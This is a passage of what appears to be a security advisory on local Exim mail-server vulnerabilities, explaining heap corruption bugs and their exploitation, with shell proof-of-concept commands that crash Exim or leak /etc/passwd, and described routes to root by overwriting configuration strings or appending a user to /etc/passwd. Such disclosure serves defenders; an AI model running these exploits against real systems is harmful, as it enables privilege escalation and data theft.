full root\\n    privileges.\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    Proof of concept\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    id\\n    uid=1001(jane) gid=1001(jane) groups=1001(jane)\\n    \\n    \/usr\/sbin\/exim4 -bt -F &#8216;.(&#8216;\\n    Segmentation fault\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28016: Heap out-of-bounds write in parse_fix_phrase()\\n    ========================================================================\\n    \\n    If a local attacker executes Exim with an empty originator_name (-F &#8221;),\\n    then parse_fix_phrase() allocates a zero-sized buffer (at line 982), but\\n    writes a null byte to buffer[1] (lines 986 and 1149):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    4772 originator_name = parse_fix_phrase(originator_name, Ustrlen(originator_name));\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n     960 const uschar *\\n     961 parse_fix_phrase(const uschar *phrase, int len)\\n     962 {\\n     &#8230;\\n     982 buffer = store_get(len*4, is_tainted(phrase));\\n     983 \\n     984 s = phrase;\\n     985 end = s + len;\\n     986 yield = t = buffer + 1;\\n     987 \\n     988 while (s \\u003c end)\\n     989   {\\n    &#8230;.\\n    1147   }\\n    1148 \\n    1149 *t = 0;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    We have not tried to exploit this vulnerability; if exploitable, it\\n    would allow an unprivileged local attacker to obtain full root\\n    privileges.\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    History\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    This vulnerability was introduced by:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    commit 3c90bbcdc7cf73298156f7bcd5f5e750e7814e72\\n    Date:   Thu Jul 9 15:30:55 2020 +0100\\n    &#8230;\\n    +JH\/18 Bug 2617: Fix a taint trap in parse_fix_phrase().  Previously when the\\n    +      name being quoted was tainted a trap would be taken.  Fix by using\\n    +      dynamicaly created buffers.  The routine could have been called by a\\n    +      rewrite with the \\&#8221;h\\&#8221; flag, by using the \\&#8221;-F\\&#8221; command-line option, or\\n    +      by using a \\&#8221;name=\\&#8221; option on a control=submission ACL modifier.\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28015: New-line injection into spool header file (local)\\n    ========================================================================\\n    \\n    When Exim receives a mail, it creates two files in the \\&#8221;input\\&#8221;\\n    subdirectory of its spool directory: a \\&#8221;data\\&#8221; file, which contains the\\n    body of the mail, and a \\&#8221;header\\&#8221; file, which contains the headers of the\\n    mail and important metadata (the sender and the recipient addresses, for\\n    example). Such a header file consists of lines of text separated by &#8216;\\\\n&#8217;\\n    characters.\\n    \\n    Unfortunately, an unprivileged local attacker can send a mail to a\\n    recipient whose address contains &#8216;\\\\n&#8217; characters, and can therefore\\n    inject new lines into the spool header file and change Exim&#8217;s behavior:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    id\\n    uid=1001(jane) gid=1001(jane) groups=1001(jane)\\n    \\n    \/usr\/sbin\/exim4 -odf -oep $&#8217;\\&#8221;Lisbeth\\\\nSalander\\&#8221;&#8216; \\u003c \/dev\/null\\n    \\n    2020-11-05 09:11:46 1kafzO-0001ho-Tf Format error in spool file 1kafzO-0001ho-Tf-H: size=607\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    The effect of this vulnerability is similar to CVE-2020-8794 in\\n    OpenSMTPD, but in Exim&#8217;s case it is not enough to execute arbitrary\\n    commands. To understand how we transformed this vulnerability into an\\n    arbitrary command execution, we must digress briefly.\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    Digression\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    Most of the vulnerabilities in this advisory are memory corruptions, and\\n    despite modern protections such as ASLR, NX, and malloc hardening,\\n    memory corruptions in Exim are easy to exploit:\\n    \\n    1\/ Exim&#8217;s memory allocator (store.c, which calls malloc() and free()\\n    internally) unintentionally provides attackers with powerful exploit\\n    primitives. In particular, if an attacker can pass a negative size to\\n    the allocator (through an integer overflow or direct control), then:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    119 static void *next_yield[NPOOLS];\\n    120 static int yield_length[NPOOLS] = { -1, -1, -1,  -1, -1, -1 };\\n    &#8230;\\n    231 void *\\n    232 store_get_3(int size, BOOL tainted, const char *func, int linenumber)\\n    233 {\\n    &#8230;\\n    248 if (size \\u003e yield_length[pool])\\n    249   {\\n    &#8230;\\n    294   }\\n    &#8230;\\n    299 store_last_get[pool] = next_yield[pool];\\n    &#8230;\\n    316 next_yield[pool] = (void *)(CS next_yield[pool] + size);\\n    317 yield_length[pool] -= size;\\n    318 return store_last_get[pool];\\n    319 }\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    1a\/ At line 248, store_get() believes that the current block of memory\\n    is large enough (because size is negative), and goes to line 299. As a\\n    result, store_get()&#8217;s caller can overflow the current block of memory (a\\n    \\&#8221;forward-overflow\\&#8221;).\\n    \\n    1b\/ At line 317, the free size of the current block of memory\\n    (yield_length) is mistakenly increased (because size is negative), and\\n    at line 316, the next pointer returned by store_get() (next_yield) is\\n    mistakenly decreased (because size is negative). As a result, the next\\n    memory allocation can overwrite the beginning of Exim&#8217;s heap: a relative\\n    write-what-where, which naturally bypasses ASLR (a \\&#8221;backward-jump\\&#8221;, or\\n    \\&#8221;back-jump\\&#8221;).\\n    \\n    2\/ The beginning of the heap contains Exim&#8217;s configuration, which\\n    includes various strings that are passed to expand_string() at run time.\\n    Consequently, an attacker who can \\&#8221;back-jump\\&#8221; can overwrite these\\n    strings with \\&#8221;${run{&#8230;}}\\&#8221; and execute arbitrary commands (thus\\n    bypassing NX).\\n    \\n    The first recorded use of expand_string() in an Exim exploit is\\n    CVE-2010-4344 (and CVE-2010-4345), an important part of Internet\\n    folklore:\\n    \\n    https:\/\/www.openwall.com\/lists\/oss-security\/2010\/12\/10\/1\\n    \\n    Note: Exim 4.94 (the latest version) introduces \\&#8221;tainted\\&#8221; memory (i.e.,\\n    untrusted, possibly attacker-controlled data) and refuses to process it\\n    in expand_string(). This mechanism protects Exim against unintentional\\n    expansion of tainted data (CVE-2014-2957 and CVE-2019-10149), but NOT\\n    against memory corruption: an attacker can simply overwrite untainted\\n    memory with tainted data, and still execute arbitrary commands in\\n    expand_string(). For example, we exploited CVE-2020-28015,\\n    CVE-2020-28012, and CVE-2020-28021 in Exim 4.94.\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    Exploitation\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    CVE-2020-28015 allows us to inject new lines into a spool header file.\\n    To transform this vulnerability into an arbitrary command execution (as\\n    root, since deliver_drop_privilege is false by default), we exploit the\\n    following code in spool_read_header():\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n     341 int n;\\n     &#8230;\\n     910 while ((n = fgetc(fp)) != EOF)\\n     911   {\\n     &#8230;\\n     914   int i;\\n     915 \\n     916   if (!isdigit(n)) goto SPOOL_FORMAT_ERROR;\\n     917   if(ungetc(n, fp) == EOF  ||  fscanf(fp, \\&#8221;%d%c \\&#8221;, \\u0026n, flag) == EOF)\\n     918     goto SPOOL_READ_ERROR;\\n     &#8230;\\n     927     h-\\u003etext = store_get(n+1, TRUE);     \/* tainted *\/\\n     &#8230;\\n     935     for (i = 0; i \\u003c n; i++)\\n     936       {\\n     937       int c = fgetc(fp);\\n     &#8230;\\n     940       h-\\u003etext[i] = c;\\n     941       }\\n     942     h-\\u003etext[i] = 0;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    &#8211; at line 917, we start a fake header with a negative length n;\\n    \\n    &#8211; at line 927, we back-jump to the beginning of the heap (Digression\\n      1b), because n is negative;\\n    \\n    &#8211; at line 935, we avoid the forward-overflow (Digression 1a), because n\\n      is negative;\\n    \\n    &#8211; then, our next fake header is allocated to the beginning of the heap\\n      and overwrites Exim&#8217;s configuration strings (with \\&#8221;${run{command}}\\&#8221;);\\n    \\n    &#8211; last, our arbitrary command is executed when deliver_message()\\n      processes our fake (injected) recipient and expands the overwritten\\n      configuration strings (Digression 2).\\n    \\n    We can also transform CVE-2020-28015 into an information disclosure, by\\n    exploiting the following code in spool_read_header():\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n     756 for (recipients_count = 0; recipients_count \\u003c rcount; recipients_count++)\\n     757   {\\n     &#8230;\\n     765   if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;\\n     766   nn = Ustrlen(big_buffer);\\n     767   if (nn \\u003c 2) goto SPOOL_FORMAT_ERROR;\\n     &#8230;\\n     772   p = big_buffer + nn &#8211; 1;\\n     773   *p&#8211; = 0;\\n     &#8230;\\n     809   while (isdigit(*p)) p&#8211;;\\n     &#8230;\\n     840   else if (*p == &#8216;#&#8217;)\\n     841     {\\n     842     int flags;\\n     &#8230;\\n     848     (void)sscanf(CS p+1, \\&#8221;%d\\&#8221;, \\u0026flags);\\n     849 \\n     850     if ((flags \\u0026 0x01) != 0)      \/* one_time data exists *\/\\n     851       {\\n     852       int len;\\n     853       while (isdigit(*(&#8211;p)) || *p == &#8216;,&#8217; || *p == &#8216;-&#8216;);\\n     854       (void)sscanf(CS p+1, \\&#8221;%d,%d\\&#8221;, \\u0026len, \\u0026pno);\\n     855       *p = 0;\\n     856       if (len \\u003e 0)\\n     857         {\\n     858         p -= len;\\n     859         errors_to = string_copy_taint(p, TRUE);\\n     860         }\\n     861       }\\n     862 \\n     863     *(&#8211;p) = 0;   \/* Terminate address *\/\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    For example, if we send a mail to the recipient\\n    &#8216;\\&#8221;X@localhost\\\\njane@localhost 8192,-1#1\\\\n\\\\n1024* \\&#8221;&#8216; (where jane is our\\n    username, and localhost is one of Exim&#8217;s local_domains), then:\\n    \\n    &#8211; at line 848, we set flags to 1;\\n    \\n    &#8211; at line 854, we set len to 8KB;\\n    \\n    &#8211; at line 858, we decrease p (by 8KB) toward the beginning of the heap;\\n    \\n    &#8211; at line 859, we read the errors_to string out of big_buffer&#8217;s bounds;\\n    \\n    &#8211; finally, we receive our mail, which includes the out-of-bounds\\n      errors_to string in its \\&#8221;From\\&#8221; and \\&#8221;Return-path:\\&#8221; headers (in this\\n      example, errors_to contains a fragment of \/etc\/passwd):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    id\\n    uid=1001(jane) gid=1001(jane) groups=1001(jane)\\n    \\n    (\\n    printf &#8216;Message-Id: X\\\\n&#8217;;\\n    printf &#8216;From: X@localhost\\\\n&#8217;;\\n    printf &#8216;Date: X\\\\n&#8217;;\\n    printf &#8216;X:%01024d2* X\\\\n&#8217; 0;\\n    ) | \/usr\/sbin\/exim4 -odf -oep $&#8217;\\&#8221;X@localhost\\\\njane@localhost 8192,-1#1\\\\n\\\\n1024* \\&#8221;&#8216; jane\\n    \\n    cat \/var\/mail\/jane\\n    From \\n    sys:x:3:\\n    adm:x:4:\\n    &#8230;\\n    Debian-exim:x:107:114::\/var\/spool\/exim4:\/usr\/sbin\/nologin\\n    jane:x:1001:1001:,,,:\/home\/jane:\/bin\/bash\\n     Thu Nov 05 10:49:07 2020\\n    Return-path: \\u003c\\n    sys:x:3:\\n    adm:x:4:\\n    &#8230;\\n    systemd-timesync:x:102:\\n    systemd-network:x:103:\\n    sy\\u003e\\n    &#8230;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28012: Missing close-on-exec flag for privileged pipe\\n    ========================================================================\\n    \\n    Exim supports a special kind of .forward file called \\&#8221;exim filter\\&#8221; (if\\n    allow_filter is true, the default on Debian). To handle such a filter,\\n    the privileged Exim process creates an unprivileged process and a pipe\\n    for communication. The filter process can fork() and execute arbitrary\\n    commands with expand_string(); this is not a security issue in itself,\\n    because the filter process is unprivileged. Unfortunately, the writable\\n    end of the communication pipe is not closed-on-exec and an unprivileged\\n    local attacker can therefore send arbitrary data to the privileged Exim\\n    process (which is running as root).\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    Exploitation\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    We exploit this vulnerability through the following code in\\n    rda_interpret(), which reads our arbitrary data in the privileged Exim\\n    process:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    791 fd = pfd[pipe_read];\\n    792 if (read(fd, filtertype, sizeof(int)) != sizeof(int) ||\\n    793     read(fd, \\u0026yield, sizeof(int)) != sizeof(int) ||\\n    794     !rda_read_string(fd, error)) goto DISASTER;\\n    &#8230;\\n    804     if (!rda_read_string(fd, \\u0026s)) goto DISASTER;\\n    &#8230;\\n    956   *error = string_sprintf(\\&#8221;internal problem in %s: failure to transfer \\&#8221;\\n    957     \\&#8221;data from subprocess: status=%04x%s%s%s\\&#8221;, rname,\\n    958     status, readerror,\\n    959     (*error == NULL)? US\\&#8221;\\&#8221; : US\\&#8221;: error=\\&#8221;,\\n    960     (*error == NULL)? US\\&#8221;\\&#8221; : *error);\\n    961   log_write(0, LOG_MAIN|LOG_PANIC, \\&#8221;%s\\&#8221;, *error);\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    where:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    467 static BOOL\\n    468 rda_read_string(int fd, uschar **sp)\\n    469 {\\n    470 int len;\\n    471 \\n    472 if (read(fd, \\u0026len, sizeof(int)) != sizeof(int)) return FALSE;\\n    &#8230;\\n    479   if (read(fd, *sp = store_get(len, FALSE), len) != len) return FALSE;\\n    480 return TRUE;\\n    481 }\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    &#8211; at line 794, we allocate an arbitrary string (of arbitrary length),\\n      error;\\n    \\n    &#8211; at line 804 (and line 479), we back-jump to the beginning of the heap\\n      (Digression 1b) and avoid the forward-overflow (Digression 1a) because\\n      our len is negative;\\n    \\n    &#8211; at line 956, we overwrite the beginning of the heap with a string that\\n      we control (error); we tried to overwrite Exim&#8217;s configuration strings\\n      (Digression 2) but failed to execute arbitrary commands; instead, we\\n      overwrite file_path, a copy of log_file_path (mentioned in\\n      CVE-2020-28007);\\n    \\n    &#8211; at line 961, we append an arbitrary string that we control (error) to\\n      a file whose name we control (file_path): we add an arbitrary user to\\n      \/etc\/passwd and obtain full root privileges.\\n    \\n    This first version of our exploit succeeds on Debian oldstable&#8217;s\\n    exim4_4.89-2+deb9u7 (it fails on Debian stable&#8217;s exim4_4.92-8+deb10u4\\n    because of a gstring_reset_unused() in string_sprintf(); we have not\\n    tried to work around this problem), but it fails on Debian testing&#8217;s\\n    exim4_4.94-8: the pool of memory that we back-jump at line 804 is\\n    untainted, but the string at line 956 is tainted and written to a\\n    different pool of memory (because our primary recipient, and hence\\n    rname, are tainted).\\n    \\n    To work around this problem, our \\&#8221;exim filter\\&#8221; generates a secondary\\n    recipient that is naturally untainted (line 479). When this secondary\\n    recipient is processed, the string at line 956 is untainted and thus\\n    overwrites the beginning of the heap (because it is allocated in the\\n    untainted pool of memory that we back-jumped at line 804): this second\\n    version of our exploit also succeeds on Debian testing.\\n    \\n    Finally, we use one noteworthy trick in our exploit: in theory, the\\n    string that overwrites file_path at line 956 cannot be longer than 256\\n    bytes (LOG_NAME_SIZE); this significantly slows our brute-force of the\\n    correct back-jump distance. In practice, we can overwrite file_path with\\n    a much longer string (up to 8KB, LOG_BUFFER_SIZE) because file_path is a\\n    format string, and \\&#8221;%0Lu\\&#8221; (or \\&#8221;%.0D\\&#8221;) is a NOP in Exim&#8217;s string_format()\\n    function: it consumes no argument and produces no output, thus avoiding\\n    the overflow of buffer[LOG_NAME_SIZE] in open_log().\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28009: Integer overflow in get_stdinput()\\n    ========================================================================\\n    \\n    The following loop reads lines from stdin as long as the last character\\n    of the lines is &#8216;\\\\\\\\&#8217; (line 1273). Each line that is read is appended to\\n    a \\&#8221;growable string\\&#8221;, the gstring g (at line 1266):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    1229 gstring * g = NULL;\\n    &#8230;.\\n    1233 for (i = 0;; i++)\\n    1234   {\\n    1235   uschar buffer[1024];\\n    &#8230;.\\n    1252     if (Ufgets(buffer, sizeof(buffer), stdin) == NULL) break;\\n    1253     p = buffer;\\n    &#8230;.\\n    1258   ss = p + (int)Ustrlen(p);\\n    &#8230;.\\n    1266   g = string_catn(g, p, ss &#8211; p);\\n    &#8230;.\\n    1273   if (ss == p || g-\\u003es[g-\\u003eptr-1] != &#8216;\\\\\\\\&#8217;)\\n    1274     break;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    Eventually, the integer g-\\u003esize of the growable string overflows, and\\n    becomes negative (in gstring_grow(), which is called by string_catn()).\\n    Consequently, in store_newblock() (which is called by gstring_grow()),\\n    newsize is negative:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    506 void *\\n    507 store_newblock_3(void * block, int newsize, int len,\\n    508   const char * filename, int linenumber)\\n    509 {\\n    510 BOOL release_ok = store_last_get[store_pool] == block;\\n    511 uschar * newtext = store_get(newsize);\\n    512 \\n    513 memcpy(newtext, block, len);\\n    514 if (release_ok) store_release_3(block, filename, linenumber);\\n    515 return (void *)newtext;\\n    516 }\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    &#8211; the store_get() at line 511 back-jumps the current block of memory\\n      (Digression 1b);\\n    \\n    &#8211; the memcpy() at line 513 forward-overflows the current block of memory\\n      (Digression 1a).\\n    \\n    If exploitable, this vulnerability would allow an unprivileged local\\n    attacker to obtain full root privileges. We have not tried to exploit\\n    this vulnerability, because it took more than 5 days to overflow the\\n    integer g-\\u003esize. Indeed, the loop in get_stdinput() has an O(n^2) time\\n    complexity: for each line that is read, store_newblock() allocates a new\\n    block of memory (at line 511) and recopies the entire contents of the\\n    growable string (at line 513).\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    Proof of concept\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    id\\n    uid=1001(jane) gid=1001(jane) groups=1001(jane)\\n    \\n    (\\n    for ((i=0; i\\u003c4096; i++)); do\\n    echo \\&#8221;`date` $i\\&#8221; \\u003e\\u00262;\\n    perl -e &#8216;print \\&#8221;\\\\\\\\\\&#8221; x 1048576&#8217;;\\n    done\\n    ) | \/usr\/sbin\/exim4 -bt | wc\\n    \\n    Program received signal SIGSEGV, Segmentation fault.\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28017: Integer overflow in receive_add_recipient()\\n    ========================================================================\\n    \\n    By default, Exim does not limit the number of recipients (the number of\\n    valid RCPT TO commands) for a mail. But after 52428800 (50M) recipients,\\n    the multiplication at line 492 overflows, and the size that is passed to\\n    store_get() becomes negative (2*50M * 40B = -96MB):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n     484 void\\n     485 receive_add_recipient(uschar *recipient, int pno)\\n     486 {\\n     487 if (recipients_count \\u003e= recipients_list_max)\\n     488   {\\n     489   recipient_item *oldlist = recipients_list;\\n     490   int oldmax = recipients_list_max;\\n     491   recipients_list_max = recipients_list_max ? 2*recipients_list_max : 50;\\n     492   recipients_list = store_get(recipients_list_max * sizeof(recipient_item));\\n     493   if (oldlist != NULL)\\n     494     memcpy(recipients_list, oldlist, oldmax * sizeof(recipient_item));\\n     495   }\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    &#8211; at line 492, store_get() back-jumps the current block of memory\\n      (Digression 1b), by -96MB;\\n    \\n    &#8211; at line 494, memcpy() forward-overflows the current block of memory\\n      (Digression 1a), by nearly 2GB (50M * 40B = 2000MB).\\n    \\n    Initially, we thought that CVE-2020-28017 would be the perfect\\n    vulnerability:\\n    \\n    &#8211; it affects all versions of Exim (since at least the beginning of its\\n      Git history in 2004);\\n    \\n    &#8211; it is certainly exploitable (an unauthenticated RCE as the \\&#8221;exim\\&#8221;\\n      user): the forward-overflow can be absorbed to avoid a crash, and the\\n      back-jump can be directed onto Exim&#8217;s configuration (Digression 2);\\n    \\n    &#8211; a back-of-the-envelope calculation suggested that an exploit would\\n      require \\&#8221;only\\&#8221; 6GB of memory: 2*2GB for all the recipients_lists, and\\n      2GB of recipient addresses to absorb the forward-overflow.\\n    \\n    Eventually, however, we abandoned the exploitation of CVE-2020-28017:\\n    \\n    &#8211; On Exim 4.89 (Debian oldstable), the ACLs (Access Control Lists) for\\n      the RCPT TO command consume approximately 512 bytes per recipient: an\\n      exploit would require more than 50M * 512B = 25GB of memory. Instead,\\n      we decided to exploit another vulnerability, CVE-2020-28020, which\\n      requires only 3GB of memory.\\n    \\n    &#8211; On Exim 4.92 (Debian stable), the ACLs for RCPT TO consume at least\\n      4KB per recipient. Indeed, this version&#8217;s string_sprintf() allocates a\\n      whole new 32KB memory block, but uses only one page (4KB): an exploit\\n      would require more than 50M * 4KB = 200GB of memory.\\n    \\n    &#8211; On Exim 4.94 (Debian testing), the problem with string_sprintf() was\\n      solved, and an exploit would therefore require \\&#8221;only\\&#8221; 25GB of memory.\\n      However, the \\&#8221;tainted\\&#8221; checks create another problem: each RCPT TO\\n      allocates T blocks of tainted memory, and makes U is_tainted() checks\\n      on untainted memory, but each check traverses the complete linked list\\n      of tainted memory blocks. For n recipients, this has an O(n^2) time\\n      complexity (roughly U*T*(n^2)\/2): it would take months to reach 50M\\n      recipients.\\n    \\n    CVE-2020-28017 is also exploitable locally (through -bS and\\n    smtp_setup_batch_msg(), which does not have ACLs), and would allow an\\n    unprivileged local attacker to obtain the privileges of the \\&#8221;exim\\&#8221; user.\\n    But better vulnerabilities exist: CVE-2020-28015 and CVE-2020-28012 are\\n    locally exploitable and yield full root privileges.\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    Proof of concept\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    id\\n    uid=1001(jane) gid=1001(jane) groups=1001(jane)\\n    \\n    (\\n    sleep 10;\\n    echo &#8216;EHLO test&#8217;;\\n    sleep 3;\\n    echo &#8216;MAIL 